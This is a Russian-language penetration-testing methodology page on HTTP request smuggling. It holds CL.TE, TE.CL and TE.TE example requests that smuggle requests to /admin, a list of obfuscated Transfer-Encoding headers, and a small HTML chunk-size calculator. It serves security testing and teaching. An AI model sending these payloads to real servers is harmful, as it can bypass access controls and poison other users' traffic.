HTTP Request Smuggling
:::tip Формат страницы
Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.
:::
Порядок действий
- Определите контекст (аутентификация, роль, границы доверия).
- Воспроизведите вектор атаки в контролируемой среде или с явным разрешением на целевой системе.
- Зафиксируйте PoC и влияние (конфиденциальность, целостность, доступность).
- Примеры запросов и команд ниже — на английском.
Методика
Введение
POST /admin HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
user=test&password=1234
POST /admin HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
17
user=test&password=1234
0
HTTP smuggling attacks
CL.TE.
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Foo: x
TE.CL.
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4
60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Chunk Calculator</title>
<style>body {font-family: sans-serif;}</style>
</head>
<body>
<h1>Chunk Calculator</h1>
<h2>By: <a href='https://twitter.com/takito1812'>Takito</a></h2>
<textarea rows="10" cols="50" name="chunk" onkeyup="calc()" autofocus>
</textarea>
<p>The chunk size is <strong id="size"></strong></p>
<pre id="explanation"></pre>
<script>
function calc() {
var chunk = document.getElementsByName("chunk")[0].value;
var lines = chunk.split("\n");
var linesLength = lines.length;
var chars = 0;
var explanation = document.getElementById("explanation");
explanation.innerHTML = "";
for (var i = 0; i < linesLength; i++) {
var line = lines[i];
var lineLength = line.length;
chars += lineLength;
if (i < linesLength - 1) {
chars += 2;
explanation.innerHTML += line + " -> " + lineLength + " + 2 (\\r\\n) = " + (lineLength + 2) + " chars<br>";
} else {
explanation.innerHTML += line + " -> " + lineLength + " chars<br>";
}
}
document.getElementById("size").innerHTML = chars.toString(16) + " hex (" + chars + " chars)";
}
</script>
</body>
</html>
TE.TE.
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:<tab>chunked
Transfer-Encoding: chunked
X: X%0aTransfer-Encoding: chunked
Transfer-Encoding
: chunked
POST / HTTP/1.1
Host: example
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0